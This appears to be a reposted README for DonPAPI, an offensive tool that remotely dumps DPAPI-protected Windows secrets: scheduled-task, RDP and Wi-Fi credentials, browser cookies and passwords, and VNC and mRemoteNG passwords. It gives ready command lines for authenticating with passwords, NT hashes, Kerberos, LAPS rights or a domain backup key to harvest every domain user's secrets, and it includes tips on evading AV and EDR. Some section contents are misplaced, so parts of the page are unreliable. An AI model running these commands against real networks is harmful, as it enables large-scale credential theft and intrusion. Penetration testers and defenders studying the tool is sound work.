DonPAPI - Dumping DPAPI Creds Remotely

  • 1 November 2021
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https://github.com/login-securite/DonPAPI

 

Dumping relevant information on compromised targets without AV detection 


DPAPI dumping

Lots of credentials are protected by DPAPI.

We aim at locating those "secured" credentials, and retrieve them using :

  • User password
  • Domaine DPAPI BackupKey
  • Local machine DPAPI Key (protecting TaskScheduled blob)

 

Currently gathered info

  • Windows credentials (Task scheduled credentials & a lot more)
  • Windows Vaults
  • Windows RDP credentials
  • AdConnect (still require a manual operation)
  • Wifi key
  • Internet explorer Credentials
  • Chrome cookies & credentials
  • Firefox cookies & credentials
  • VNC passwords
  • mRemoteNG password (with default config)


Check for a bit of compliance

  • SMB signing status
  • OS/Domain/Hostname/Ip of the audited scope


Operational use

With local admin account on a host, we can :

  • Gather machine protected DPAPI secrets
    • ScheduledTask that will contain cleartext login/password of the account configured to run the task
    • Wi-Fi passwords
  • Extract Masterkey's hash value for every user profiles (masterkeys being protected by the user's password, let's try to crack them with Hashcat)
  • Identify who is connected from where, in order to identify admin's personal computers.
  • Extract other non-dpapi protected secrets (VNC/Firefox/mRemoteNG)
  • Gather protected secrets from IE, Chrome, Firefox and start reaching the Azure tenant.

With a user password, or the domain PVK we can unprotect the user's DPAPI secrets.


Examples

Dump all secrets of the target machine with an admin account :

DonPAPI.py domain/user:passw0rd@target

Using user's hash

DonPAPI.py --hashes <LM>:<NT> domain/user@target

Using Kerberos (-k) and local auth (-local_auth)

DonPAPI.py -k domain/user@target
DonPAPI.py -local_auth user@target

Using a user with LAPS password reading rights

DonPAPI.py -laps domain/user:passw0rd@target

It is also possible to provide the tool with a list of credentials that will be tested on the target. DonPAPI will try to use them to decipher masterkeys.

This credential file must have the following syntax:

user1:pass1  user2:pass2  ...  
user1:pass1
user2:pass2
...

When a domain admin user is available, it is possible to dump the domain backup key using impacket dpapi.py tool.

DonPAPI.py -credz credz_file.txt domain/user:passw0rd@target

This backup key can then be used to dump all domain user's secrets!

python DonPAPI.py -pvk domain_backupkey.pvk domain/user:passw0rd@domain_network_list

Target can be an IP, IP range, CIDR, file containing list targets (one per line)


Opsec consideration

The RemoteOps part can be spotted by some EDR. It can be disabled using --no_remoteops flag, but then the machine DPAPI key won't be retrieved, and scheduled task credentials/Wi-Fi passwords won't be harvested.


Installation

dpapi.py backupkey --export


Credits

All the credits goes to these great guys for doing the hard research & coding :


Todo

  • Finish ADSync/ADConnect password extraction
  • CREDHISTORY full extraction
  • Extract windows Certificates
  • Further analysis ADAL/msteams
  • Implement Chrome <v80 decoder
  • Find a way to implement Lazagne's great modules


Changelog

git clone https://github.com/login-securite/DonPAPI.git
cd DonPAPI
python3 -m pip install -r requirements.txt
python3 DonPAPI.py

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